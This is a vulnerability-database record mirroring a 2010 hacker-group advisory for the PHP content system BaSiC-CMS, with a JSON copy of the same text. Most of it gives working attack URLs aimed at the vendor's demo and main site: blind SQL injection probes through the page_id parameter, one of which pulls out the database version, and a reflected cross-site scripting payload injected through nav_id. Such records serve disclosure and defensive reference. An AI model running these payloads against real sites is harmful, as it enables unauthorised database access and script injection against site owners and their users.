Search...

BaSiC-CMS SQL Injection / Cross Site Scripting

2010-02-12T00:00:00

ID PACKETSTORM:86246
Type packetstorm
Reporter Red-D3v1L
Modified 2010-02-12T00:00:00

Description

                                        
                                            `+===================================================================================+  
./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _   
/ /_ _ _ _ / _ _\/ _ _ /\ \&lt; |/_ _ _ _ /  
\ \_ _ _ _/ /___ / / __ | |) / | | / /  
\_ _ _ _/ /___ / / | __ || / | | / /  
_______\ \_ _ \ \2_0_1_0 | \ | | / /____  
/_ _ _ _ _\ _ _ _/\ _ _ _ / |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!  
+===================================================================================+  
  
[?] ~ Note : sEc-r1z CrEw# r0x !  
==============================================================================  
[?] BaSiC-CMS Script (SQL Blind/XSS) Multiple Remote Vulnerabilities  
==============================================================================  
[?] My home: [ http://sec-r1z.com ]  
[?] For Ask: [ r-d@passport.com]  
[?] Script: [ BaSiC-CMS ]  
[?] Home Scirpt [ http://www.basic-cms.de/ ]  
[?] Language: [ PHP ]  
[?] Founder: [ Red-D3v1L ]  
[?] Gr44tz to: [ sec-r1z# Crew - My L0vE A ]  
[?] n00bz : [Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ..]  
########################################################################  
  
===[ Exploit SQL Blind ]===  
  
  
[»] Exploit : index.php?r=&page_id=[Blind]  
  
  
http://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%201=1 &lt;&lt; this true  
  
http://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%201=0 &lt;&lt; this faulse  
  
  
http://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%20substring%28@@version,1,1%29=4 &lt;&lt; this true  
  
  
http://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%20substring%28@@version,1,1%29=5 &lt;&lt; this faulse  
  
  
===[ Exploit XSS ]===  
  
  
index.php?&nav_id=[XSS Code]  
  
  
http://www.basic-cms.de/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
  
  
./Greetz For All my Frindes   
==============================================================================  
  
#sEc-r1z.com Str1kEz y0u !  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:86246", "type": "packetstorm", "bulletinFamily": "exploit", "title": "BaSiC-CMS SQL Injection / Cross Site Scripting", "description": "", "published": "2010-02-12T00:00:00", "modified": "2010-02-12T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/86246/BaSiC-CMS-SQL-Injection-Cross-Site-Scripting.html", "reporter": "Red-D3v1L", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:22:18", "viewCount": 1, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2016-11-03T10:22:18", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:22:18", "rev": 2}, "vulnersScore": 0.5}, "sourceHref": "https://packetstormsecurity.com/files/download/86246/basiccms-sqlxss.txt", "sourceData": "`+===================================================================================+ \n./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _ \n/ /_ _ _ _ / _ _\\/ _ _ /\\ \\< |/_ _ _ _ / \n\\ \\_ _ _ _/ /___ / / __ | |) / | | / / \n\\_ _ _ _/ /___ / / | __ || / | | / / \n_______\\ \\_ _ \\ \\2_0_1_0 | \\ | | / /____ \n/_ _ _ _ _\\ _ _ _/\\ _ _ _ / |__|\\ __\\ |__|/_ _ _ _ _\\ R.I.P MichaelJackson !!!!! \n+===================================================================================+ \n \n[?] ~ Note : sEc-r1z CrEw# r0x ! \n============================================================================== \n[?] BaSiC-CMS Script (SQL Blind/XSS) Multiple Remote Vulnerabilities \n============================================================================== \n[?] My home: [ http://sec-r1z.com ] \n[?] For Ask: [ r-d@passport.com] \n[?] Script: [ BaSiC-CMS ] \n[?] Home Scirpt [ http://www.basic-cms.de/ ] \n[?] Language: [ PHP ] \n[?] Founder: [ Red-D3v1L ] \n[?] Gr44tz to: [ sec-r1z# Crew - My L0vE A ] \n[?] n00bz : [Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ..] \n######################################################################## \n \n===[ Exploit SQL Blind ]=== \n \n \n[\u00bb] Exploit : index.php?r=&page_id=[Blind] \n \n \nhttp://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%201=1 << this true \n \nhttp://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%201=0 << this faulse \n \n \nhttp://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%20substring%28@@version,1,1%29=4 << this true \n \n \nhttp://demo.basic-cms.de/pages/index.php?r=&page_id=74%20and%20substring%28@@version,1,1%29=5 << this faulse \n \n \n===[ Exploit XSS ]=== \n \n \nindex.php?&nav_id=[XSS Code] \n \n \nhttp://www.basic-cms.de/pages/index.php?&nav_id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \n \n \n./Greetz For All my Frindes \n============================================================================== \n \n#sEc-r1z.com Str1kEz y0u ! \n`\n", "immutableFields": []}